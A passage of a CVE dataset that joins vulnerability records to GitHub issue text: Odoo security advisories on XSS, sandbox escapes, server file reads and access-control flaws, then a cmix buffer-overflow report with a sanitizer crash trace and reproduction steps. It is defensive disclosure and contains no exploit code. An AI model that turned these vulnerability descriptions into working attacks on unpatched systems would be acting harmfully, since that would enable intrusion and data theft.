database hosted on the same server, by crafting malicious requests.
Systems who host Odoo databases for untrusted users are particularly at risk,
(e.g. SaaS platforms), as they typically allow users to become administrators
of their own Odoo database. This is sufficient to exploit the vulnerability.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/04e4e70bcb822d169cdee4fc702640b10a3a75ad
- 14.0: https://github.com/odoo/odoo/commit/c1d6d4a1d9148275213c7f3c286658366df03bd7
- 15.0: https://github.com/odoo/odoo/commit/af3b181af2773b4a8be534c9e3952790f0d959a6
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-23186 - A sandboxing issue in Odoo Community 15.0 and... | https://api.github.com/repos/odoo/odoo/issues/107688/comments | 0 | 2022-12-10T23:00:34Z | 2022-12-10T23:00:34Z | https://github.com/odoo/odoo/issues/107688 | 1,489,087,076 | 107,688 | 5,021 |
CVE-2021-26263 | 2023-04-25T19:15:09.470 | Cross-site scripting (XSS) issue in Discuss app of Odoo Community 14.0 through 15.0, and Odoo Enterprise 14.0 through 15.0, allows remote attackers to inject arbitrary web script in the browser of a victim, by posting crafted contents. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-26263](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26263)
**Affects**: Odoo 14.0 and 15.0 (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-26263](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26263)
**Component**: Discuss
**Credits**: Theodoros Malachias, iamsushi, Ranjit Pahan
Cross-site scripting (XSS) issue in Discuss app of Odoo Community 14.0
through 15.0, and Odoo Enterprise 14.0 through 15.0, allows remote
attackers to inject arbitrary web script in the browser of a victim,
by posting crafted contents.
## I. Background
Odoo has a live chat feature to discuss in real time with employees or website
visitors. A notification is triggered when a new message is received.
## II. Problem Description
Improper input validation allowed to inject arbitrary code executed in the
browser of the viction when the message is received.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: None
**CVSS3 Score**: High :: 7.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
An attacker might craft requests to send arbitrary code to a victim and execute
web script without needing active interaction from the victim, other than being
connected. This may lead to privilege escalation and sensitive information
disclosure.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 14.0: https://github.com/odoo/odoo/commit/ff1db4a6aea522cf3dfc80ca88e64ffecfb5e07c
- 15.0: https://github.com/odoo/odoo/commit/41e7d26a751cf56f70afef314acae220bee464bc
- 15.0-ent, 14.0-ent (Enterprise): see 15.0 and 14.0.
| [SEC] CVE-2021-26263 - Cross-site scripting (XSS) issue in Discuss a... | https://api.github.com/repos/odoo/odoo/issues/107693/comments | 0 | 2022-12-10T23:00:43Z | 2022-12-10T23:00:44Z | https://github.com/odoo/odoo/issues/107693 | 1,489,087,216 | 107,693 | 5,022 |
CVE-2021-26947 | 2023-04-25T19:15:09.530 | Cross-site scripting (XSS) issue Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier, allows remote attackers to inject arbitrary web script in the browser of a victim, via a crafted link. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-26947](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26947)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-26947](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26947)
**Component**: Core
**Credits**: Nils Hamerlinck (Trobz), Andreas Perhab (WT-IO-IT GmbH)
Cross-site scripting (XSS) issue Odoo Community 15.0 and earlier and
Odoo Enterprise 15.0 and earlier, allows remote attackers to inject
arbitrary web script in the browser of a victim, via a crafted link.
## I. Background
The Odoo framework is designed to be safe by default, and to ensure that all
user-controlled parameters are sanitized.
## II. Problem Description
Improper input validation on a generic template allowed to inject arbitrary code
executed when the victim clicks on a forged link.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: None
**CVSS3 Score**: Medium :: 6.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)
An attacker might send a forged link to the victim in order to execute arbitrary
web script code in the victim's browser when they open the link.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/b08301e544263436e09762b0b252c96e732d14d0
- 14.0: https://github.com/odoo/odoo/commit/e451c4fbffa9472cd3686492e8ba41430ab3b235
- 15.0: https://github.com/odoo/odoo/commit/c3528f268dfb498a7806cb9b6f4aa3d964f421ea
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-26947 - Cross-site scripting (XSS) issue Odoo Communi... | https://api.github.com/repos/odoo/odoo/issues/107694/comments | 0 | 2022-12-10T23:00:44Z | 2022-12-10T23:00:45Z | https://github.com/odoo/odoo/issues/107694 | 1,489,087,256 | 107,694 | 5,023 |
CVE-2021-44460 | 2023-04-25T19:15:09.600 | Improper access control in Odoo Community 13.0 and earlier and Odoo Enterprise 13.0 and earlier allows users with deactivated accounts to access the system with the deactivated account and any permission it still holds, via crafted RPC requests. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-44460](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44460)
**Affects**: Odoo 13.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-44460](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44460)
**Component**: Core
**Credits**: Xavier Morel
Improper access control in Odoo Community 13.0 and earlier and Odoo
Enterprise 13.0 and earlier allows users with deactivated accounts to
access the system with the deactivated account and any permission it
still holds, via crafted RPC requests.
## I. Background
Users can be deactivated as a way to keep the past information about them but
no longer allow them to login into an Odoo database. This is the typical
scenario when an employee leaves the company.
## II. Problem Description
Old users could still interact with the database through the API even though
they were no longer able to login through the login form.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Deactivated user account required
**CVSS3 Score**: High :: 7.4
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
A old employee or portal might abuse their past privileges to gain access to
recent information.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
Changing the password of deactivated users ensures an old user is no longer
able to craft RPC requests. Updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/8024a6e369b79abb1cbd52840fd66eaec66c07a3
- 13.0-ent (Enterprise): see 13.0.
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CVE-2021-44461 | 2023-04-25T19:15:09.670 | Cross-site scripting (XSS) issue in Accounting app of Odoo Enterprise 13.0 through 15.0, allows remote attackers who are able to control the contents of accounting journal entries to inject arbitrary web script in the browser of a victim. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-44461](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44461)
**Affects**: Odoo 13.0 to 15.0 (Enterprise Edition)
**CVE ID**: [CVE-2021-44461](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44461)
**Component**: Accounting (account_accountant)
Cross-site scripting (XSS) issue in Accounting app of Odoo Enterprise 13.0
through 15.0, allows remote attackers who are able to control the contents
of accounting journal entries to inject arbitrary web script in the browser
of a victim.
## I. Background
The Odoo accounting application allows external users to send invoices by email
that are automatically imported into an Odoo database.
## II. Problem Description
The content of the invoice was not properly sanitized.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: None
**CVSS3 Score**: Medium :: 6.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
A malicious user could send a crafted invoice and trigger injected web script
code when an accountant opens the invoice.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0-ent: https://github.com/odoo/enterprise/commit/eb6799b56c0f4f55a91c59efc750abc6b9aa1436
- 14.0-ent: https://github.com/odoo/enterprise/commit/48f48647e3d9b61778450e430e889eb362d0e5d3
- 15.0-ent: https://github.com/odoo/enterprise/commit/fce7a1a52e7e30e5adcdd61d49a512f27e08f73f
| [SEC] CVE-2021-44461 - Cross-site scripting (XSS) issue in Accountin... | https://api.github.com/repos/odoo/odoo/issues/107686/comments | 0 | 2022-12-10T23:00:30Z | 2022-12-10T23:00:31Z | https://github.com/odoo/odoo/issues/107686 | 1,489,087,009 | 107,686 | 5,025 |
CVE-2021-44476 | 2023-04-25T19:15:09.783 | A sandboxing issue in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows authenticated administrators to read local files on the server, including sensitive configuration files. | {
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"odoo",
"odoo"
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**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-44476](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44476)
**Component**: Core
**Credits**: Toufik Ben Jaa
A sandboxing issue in Odoo Community 15.0 and earlier and Odoo Enterprise
15.0 and earlier allows authenticated administrators to read local files
on the server, including sensitive configuration files.
## I. Background
Odoo includes a sandbox for interpreting dynamic business logic components,
such as the definition of workflows, automated actions, or the dynamic
expressions used within report templates.
The mechanism behind this sandbox is called 'safe eval' and keeps the system
safe while allowing advanced customizations. Its role is to execute
user-provided Odoo business logic, while preventing any undesired
effects on the data or the hosting platform - such as could be caused
by accident or by malicious users.
In order to be allowed to customize any of these dynamic business logic
components, one must be an administrator of an Odoo database, or have otherwise
received elevated privileges.
## II. Problem Description
The sandbox mechanism can be escaped and allow a malicious administrator to
read local files on the server.
Systems who host Odoo databases for untrusted users are particularly at risk,
(e.g. SaaS platforms), as they typically allow users to become administrators
of their own Odoo database. This is sufficient to exploit the vulnerability.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Privileged user account required
**CVSS3 Score**: Medium :: 6.8
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)
A malicious administrator might be able to access sensitive files stored on the
server and read protected configuration secrets or the application source code.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/1282375d55802696d3b464c9282ff2f211529824
- 14.0: https://github.com/odoo/odoo/commit/be2c857a2e19b0a752555ab377ce5e1cb081a186
- 15.0: https://github.com/odoo/odoo/commit/affe9d8e5317f421265f24f191acdda41732a8dd
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-44476 - A sandboxing issue in Odoo Community 15.0 and... | https://api.github.com/repos/odoo/odoo/issues/107684/comments | 0 | 2022-12-10T23:00:26Z | 2022-12-10T23:00:27Z | https://github.com/odoo/odoo/issues/107684 | 1,489,086,933 | 107,684 | 5,026 |
CVE-2021-44547 | 2023-04-25T19:15:09.843 | A sandboxing issue in Odoo Community 15.0 and Odoo Enterprise 15.0 allows authenticated administrators to executed arbitrary code, leading to privilege escalation. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-44547](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44547)
**Affects**: Odoo 15.0 (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-44547](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44547)
**Component**: Core
**Credits**: Stephane Debauche
A sandboxing issue in Odoo Community 15.0 and Odoo Enterprise 15.0
allows authenticated administrators to executed arbitrary code,
leading to privilege escalation.
## I. Background
The framework includes a rendering engine for the QWeb templating language.
## II. Problem Description
A programming error in the QWeb rendering engine of Odoo 15.0 made some
sensitive interfaces available to the template code.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Administrator or privileged account required
**CVSS3 Score**: High :: 8.7
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
An attacker with administrator or high privileges on a database may
upload a crafted QWeb template and use it to execute arbitrary Python
code, leading to privilege escalation on the hosting server itself.
This may be used to access any local files available to the system
user executing the Odoo service, or to modify files and execute
processes.
This would generally only be a concern on multi-tenant systems, where
administrators may not be trusted.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 15.0: https://github.com/odoo/odoo/commit/96b09b127028e5c9a83c89acce86e1b6df904c6f
- 15.0-ent (Enterprise): see 15.0
| [SEC] CVE-2021-44547 - A sandboxing issue in Odoo Community 15.0 and... | https://api.github.com/repos/odoo/odoo/issues/107696/comments | 0 | 2022-12-10T23:00:48Z | 2022-12-10T23:00:49Z | https://github.com/odoo/odoo/issues/107696 | 1,489,087,347 | 107,696 | 5,027 |
CVE-2021-44775 | 2023-04-25T19:15:09.903 | Cross-site scripting (XSS) issue in Website app of Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier, allows remote attackers to inject arbitrary web script in the browser of a victim, by posting crafted contents. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-44775](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44775)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-44775](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44775)
**Component**: Website
**Credits**: Holger Brunn (Therp BV)
Cross-site scripting (XSS) issue in Website app of Odoo Community 15.0 and
earlier and Odoo Enterprise 15.0 and earlier, allows remote attackers to
inject arbitrary web script in the browser of a victim, by posting crafted
contents.
## I. Background
Iframes can be inserted into a website page via the website editor. This allows
to embed external content such as videos into a forum question.
## II. Problem Description
Improper content validation allowed to inject arbitrary web script code in the
iframe definition that would be executed by the visitor of the page.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: User account required (including portal users)
**CVSS3 Score**: Medium :: 6.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
An attacker might insert malicious code into a page that will be executed by
another user visiting the page.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/384d67b9736787be96c834f2bf28bf935d610b10
- 14.0: https://github.com/odoo/odoo/commit/74532a0839b57337cc26ffc66b2884039e68f23b
- 15.0: https://github.com/odoo/odoo/commit/88ab30b970cf55b35555b693d714765fb3e9081d
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-44775 - Cross-site scripting (XSS) issue in Website a... | https://api.github.com/repos/odoo/odoo/issues/107691/comments | 0 | 2022-12-10T23:00:39Z | 2022-12-10T23:00:40Z | https://github.com/odoo/odoo/issues/107691 | 1,489,087,157 | 107,691 | 5,028 |
CVE-2021-45071 | 2023-04-25T19:15:09.963 | Cross-site scripting (XSS) issue Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier, allows remote attackers to inject arbitrary web script in the browser of a victim, via crafted uploaded file names. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-45071](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45071)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-45071](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45071)
**Component**: Core
**Credits**: Lauri Vakkala, Anıl Yüksel, Agustin Maio and Johannes Moritz (Cure53)
Cross-site scripting (XSS) issue Odoo Community 15.0 and earlier and
Odoo Enterprise 15.0 and earlier, allows remote attackers to inject
arbitrary web script in the browser of a victim, via crafted uploaded
file names.
## I. Background
The Odoo framework includes a generic component for uploading files, known
as the "binary field widget".
## II. Problem Description
A problem in the sanitization of the uploaded file name in the binary field
widget made a cross-site scripting attack possible.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: User account not necessarily required
**CVSS3 Score**: Medium :: 5.3
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N)
Depending on the modules/apps installed in a database, some screens may use
the default binary field widget. If an attacker is able to control the contents
of this field, directly or indirectly (e.g. via email), they trigger the
execution of arbitrary web script (XSS) on the browser of the victim.
This may allow them to escalate privileges by triggering malicious actions by
a privileged victim, or to capture sensitive data.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/b9ae627e3bfc489cbce4d07fffc0faacdf10fd2f
- 14.0: https://github.com/odoo/odoo/commit/609b6503af97af5cf00ff497760f71cd71860c48
- 15.0: https://github.com/odoo/odoo/commit/9f8da7bb48861a07a8fdd7897d3bdb1917c0d0ab
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-45071 - Cross-site scripting (XSS) issue Odoo Communi... | https://api.github.com/repos/odoo/odoo/issues/107697/comments | 0 | 2022-12-10T23:00:50Z | 2022-12-10T23:00:51Z | https://github.com/odoo/odoo/issues/107697 | 1,489,087,376 | 107,697 | 5,029 |
CVE-2021-45111 | 2023-04-25T19:15:10.020 | Improper access control in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows remote authenticated users to trigger the creation of demonstration data, including user accounts with known credentials. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-45111](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45111)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-45111](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45111)
**Component**: Core
**Credits**: Nils Hamerlinck (Trobz), Yenthe Van Ginneken
Improper access control in Odoo Community 15.0 and earlier and Odoo
Enterprise 15.0 and earlier allows remote authenticated users to trigger
the creation of demonstration data, including user accounts with known
credentials.
## I. Background
To be able to quickly demonstrate features, demonstration data can be added to
an existing Odoo instance. This creates fake employees, products and other
demonstration data.
## II. Problem Description
This feature could be triggered by any user instead of only administrators.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Employee / Portal user account required
**CVSS3 Score**: High :: 7.1
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)
A malicious low priviledge user (including portal user accounts) on an Odoo
database might install demonstration data and use this as a way to gain
access to restricted data or features.
Odoo S.A. is not aware of any use of this vulnerability in the wild but any case
would result on a new user "demo" being created.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/2df06fef46d358db9c74c00da5684110073c494c
- 14.0: https://github.com/odoo/odoo/commit/d326153e016f93c22f40ad8fb146bb4108bb94dc
- 15.0: https://github.com/odoo/odoo/commit/d326153e016f93c22f40ad8fb146bb4108bb94dc
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-45111 - Improper access control in Odoo Community 15.... | https://api.github.com/repos/odoo/odoo/issues/107683/comments | 0 | 2022-12-10T23:00:25Z | 2022-12-10T23:00:26Z | https://github.com/odoo/odoo/issues/107683 | 1,489,086,907 | 107,683 | 5,030 |
CVE-2023-26735 | 2023-04-26T00:15:09.227 | blackbox_exporter v0.23.0 was discovered to contain an access control issue in its probe interface. This vulnerability allows attackers to detect intranet ports and services, as well as download resources. NOTE: this is disputed by third parties because authentication can be configured. | {
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CVE-2023-29596 | 2023-04-26T20:15:10.170 | Buffer Overflow vulnerability found in ByronKnoll Cmix v.19 allows an attacker to execute arbitrary code and cause a denial of service via the paq8 function. | {
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"byronknoll",
"cmix"
] | # Crash Inputs
Here is the crash file that trigger the error
[cmix_asan_crash_mem_overlap.zip](https://github.com/byronknoll/cmix/files/9248964/cmix_asan_crash_mem_overlap.zip)
# Bug Description:
When executing cmix (new release version) with the file inputs and parameter "-n", the ASan (Memory Sanitizer ) instrumented program terminates with Nonfatal Error shown below.
```
==102390==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x619000041c63,0x619000041c67) and [0x619000041c64, 0x619000041c68) overlap
#0 0x4ca038 in __asan_memcpy (/cmix/cmix_asan+0x4ca038)
#1 0x656a09 in paq8::FrenchStemmer::ConvertUTF8(paq8::Word*) /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:2502:11
#2 0x65569b in paq8::FrenchStemmer::Stem(paq8::Word*) /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:2782:5
#3 0x558c65 in paq8::TextModel::Update(paq8::Buf&, paq8::ModelStats*) /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:3258:28
#4 0x63978b in paq8::TextModel::Predict(paq8::Mixer&, paq8::Buf&, paq8::ModelStats*) /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:3160:7
#5 0x615679 in paq8::contextModel2(paq8::ModelStats*) /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:8183:13
#6 0x61867b in paq8::Predictor::update() /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:8277:11
#7 0x6c0d24 in Predictor::Perceive(int) /data/Deter-Study/temp/benchmark/crash/cmix/src/predictor.cpp:394:12
#8 0x4fed5c in Encoder::Encode(int) /data/Deter-Study/temp/benchmark/crash/cmix/src/coder/encoder.cpp:23:7
#9 0x6ef0d0 in Compress(unsigned long long, std::basic_ifstream<char, std::char_traits<char> >*, std::basic_ofstream<char, std::char_traits<char> >*, unsigned long long*, Predictor*) /data/Deter-Study/temp/benchmark/crash/cmix/src/runner.cpp:106:9
#10 0x6f06d3 in RunCompression(bool, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, _IO_FILE*, unsigned long long*, unsigned long long*) /data/Deter-Study/temp/benchmark/crash/cmix/src/runner.cpp:203:3
#11 0x6f3b13 in main /data/Deter-Study/temp/benchmark/crash/cmix/src/runner.cpp:298:10
#12 0x7f0cc1be9c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#13 0x41f819 in _start (/cmix/cmix_asan+0x41f819)
0x619000041c63 is located 483 bytes inside of 960-byte region [0x619000041a80,0x619000041e40)
allocated by thread T0 here:
#0 0x4cb3ba in calloc (/cmix/cmix_asan+0x4cb3ba)
#1 0x654691 in paq8::Array<paq8::Word, 0>::create(unsigned int) /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:118:16
#2 0x654691 in paq8::Array<paq8::Word, 0>::Array(unsigned int) /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:76
#3 0x654691 in paq8::Cache<paq8::Word, 8u>::Cache() /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:3013
0x619000041c64 is located 484 bytes inside of 960-byte region [0x619000041a80,0x619000041e40)
allocated by thread T0 here:
#0 0x4cb3ba in calloc (/cmix/cmix_asan+0x4cb3ba)
#1 0x654691 in paq8::Array<paq8::Word, 0>::create(unsigned int) /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:118:16
#2 0x654691 in paq8::Array<paq8::Word, 0>::Array(unsigned int) /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:76
#3 0x654691 in paq8::Cache<paq8::Word, 8u>::Cache() /data/Deter-Study/temp/benchmark/crash/cmix/src/models/paq8.cpp:3013
SUMMARY: AddressSanitizer: memcpy-param-overlap (/cmix/cmix_asan+0x4ca038) in __asan_memcpy
```
# Step to reproduce
- download the cmix from github and build it with ASAN
- Execute cmix with provide files and given parameters "-n". | [BUG]: ERROR memcpy-param-overlap | https://api.github.com/repos/byronknoll/cmix/issues/54/comments | 2 | 2022-08-03T07:25:36Z | 2023-02-26T07:20:02Z | https://github.com/byronknoll/cmix/issues/54 | 1,326,794,554 | 54 | 5,034 |
CVE-2023-30363 | 2023-04-26T21:15:09.103 | vConsole v3.15.0 was discovered to contain a prototype pollution due to incorrect key and value resolution in setOptions in core.ts. | {
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"Tencent",
"vConsole"
] | hello.
This is LINE Security Assessment Team.
